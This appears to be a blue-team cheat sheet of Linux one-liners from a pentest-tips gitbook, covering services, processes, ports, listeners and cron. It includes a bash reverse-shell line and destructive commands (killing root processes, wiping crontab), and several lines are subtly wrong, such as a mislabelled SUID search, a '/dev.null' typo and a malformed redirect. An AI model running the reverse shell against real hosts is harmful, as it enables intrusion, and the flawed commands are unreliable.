> For the complete documentation index, see [llms.txt](https://f1shh.gitbook.io/pentest-tips/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1shh.gitbook.io/pentest-tips/blue-team/one_liners.md).

# One Liners

### List All Running Services:

```bash
systemctl list-units --type=service --state=running
```

### Enable Ping

```bash
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all
```

### Netcat Listener

```bash
nc -nlvp <port>
```

### Bash Reverse Shell

```bash
bash -i > &/dev/tcp/ip/port/ 0>&1
```

### View Running Processes

```bash
ps -aux
```

### Find Writable files

```bash
find / -perm -u=s -type f 2>/dev.null
```

### Python Web Server

```bash
python3 -m http.server <port>
```

### Kill all processes newer then 5m

```bash
sudo killall -u root -y 5m
```

### Active TCP Connections

```bash
ss -tulpn
```

### Check Syslog

```bash
cat /var/logs/syslog | grep <something>
```

### Crontab

```bash
# View crontab with
crontab -l
# Reset crontab with
crontab -r
# Disable with
systemctl stop crond.service
systemctl disable crond.service
```

### Investigate Running Port

```bash
sudo lsof -i :<port>
```
